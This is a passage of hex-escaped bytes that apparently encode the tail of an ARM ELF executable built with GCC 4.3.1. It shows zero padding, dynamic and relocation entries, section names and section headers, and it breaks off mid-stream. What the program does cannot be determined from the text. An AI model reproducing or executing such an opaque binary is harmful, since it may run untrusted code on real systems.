00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFF\\xFF\\xFF\\xFF\\x00\\x00\\x00\\x00\\xFF\\xFF\\xFF\\xFF\\x00\\x00\\x00\\x00\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x00\\xA0\\x00\\x00\\x21\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x08\\xA0\\x00\\x00\\x1B\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x1A\\x00\\x00\\x00\\x10\\xA0\\x00\\x00\\x1C\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x08\\x81\\x00\\x00\\x05\\x00\\x00\\x00\\x14\\x85\\x00\\x00\\x06\\x00\\x00\\x00\\x54\\x82\\x00\\x00\\x0A\\x00\\x00\\x00\\x6E\\x01\\x00\\x00\\x0B\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xF8\\xA0\\x00\\x00\\x02\\x00\\x00\\x00\\xE8\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\x94\\x86\\x00\\x00\\x11\\x00\\x00\\x00\\x84\\x86\\x00\\x00\\x12\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xA0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x47\\x43\\x43\\x3A\\x20\\x28\\x47\\x4E\\x55\\x29\\x20\\x34\\x2E\\x33\\x2E\\x31\\x00\\x41\\x28\\x00\\x00\\x00\\x61\\x65\\x61\\x62\\x69\\x00\\x01\\x1E\\x00\\x00\\x00\\x05\\x35\\x54\\x45\\x00\\x06\\x04\\x08\\x01\\x09\\x01\\x12\\x04\\x14\\x01\\x15\\x01\\x17\\x03\\x18\\x01\\x19\\x01\\x1A\\x02\\x00\\x2E\\x73\\x79\\x6D\\x74\\x61\\x62\\x00\\x2E\\x73\\x74\\x72\\x74\\x61\\x62\\x00\\x2E\\x73\\x68\\x73\\x74\\x72\\x74\\x61\\x62\\x00\\x2E\\x69\\x6E\\x74\\x65\\x72\\x70\\x00\\x2E\\x68\\x61\\x73\\x68\\x00\\x2E\\x64\\x79\\x6E\\x73\\x79\\x6D\\x00\\x2E\\x64\\x79\\x6E\\x73\\x74\\x72\\x00\\x2E\\x72\\x65\\x6C\\x2E\\x67\\x6F\\x74\\x00\\x2E\\x72\\x65\\x6C\\x2E\\x70\\x6C\\x74\\x00\\x2E\\x74\\x65\\x78\\x74\\x00\\x2E\\x72\\x6F\\x64\\x61\\x74\\x61\\x00\\x2E\\x41\\x52\\x4D\\x2E\\x65\\x78\\x74\\x61\\x62\\x00\\x2E\\x41\\x52\\x4D\\x2E\\x65\\x78\\x69\\x64\\x78\\x00\\x2E\\x70\\x72\\x65\\x69\\x6E\\x69\\x74\\x5F\\x61\\x72\\x72\\x61\\x79\\x00\\x2E\\x69\\x6E\\x69\\x74\\x5F\\x61\\x72\\x72\\x61\\x79\\x00\\x2E\\x66\\x69\\x6E\\x69\\x5F\\x61\\x72\\x72\\x61\\x79\\x00\\x2E\\x63\\x74\\x6F\\x72\\x73\\x00\\x2E\\x64\\x79\\x6E\\x61\\x6D\\x69\\x63\\x00\\x2E\\x62\\x73\\x73\\x00\\x2E\\x63\\x6F\\x6D\\x6D\\x65\\x6E\\x74\\x00\\x2E\\x41\\x52\\x4D\\x2E\\x61\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1B\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\xF4\\x80\\x00\\x00\\xF4\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x08\\x81\\x00\\x00\\x08\\x01\\x00\\x00\\x4C\\x01\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x29\\x00\\x00\\x00\\x0B\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x54\\x82\\x00\\x00\\x54\\x02\\x00\\x00\\xC0\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x31\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x14\\x85\\x00\\x00\\x14\\x05\\x00\\x00\\x6E\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x39\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x84\\x86\\x00\\x00\\x84\\x06\\x00\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x42\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x94\\x86\\x00\\x00\\x94\\x06\\x00\\x00\\xE8\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x46\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x7C\\x87\\x00\\x00\\x7C\\x07\\x00\\x00\\x70\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x4B\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\xF0\\x88\\x00\\x00\\xF0\\x08\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x51\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\xF0\\x91\\x00\\x00\\xF0\\x11\\x00\\x00\\xC0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x59\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\xB0\\x92\\x00\\x00\\xB0\\x12\\x00\\x00\\x60\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x64\\x00\\x00\\x00\\x01\\x00\\x00\\x70\\x82\\x00\\x00\\x00\\x10\\x93\\x00\\x00\\x10\\x13\\x00\\x00\\x40\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6F\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\xA0\\x00\\x00\\x00\\x20\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7E\\x00\\x00\\x00\\x0E\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x08\\xA0\\x00\\x00\\x08\\x20\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8A\\x00\\x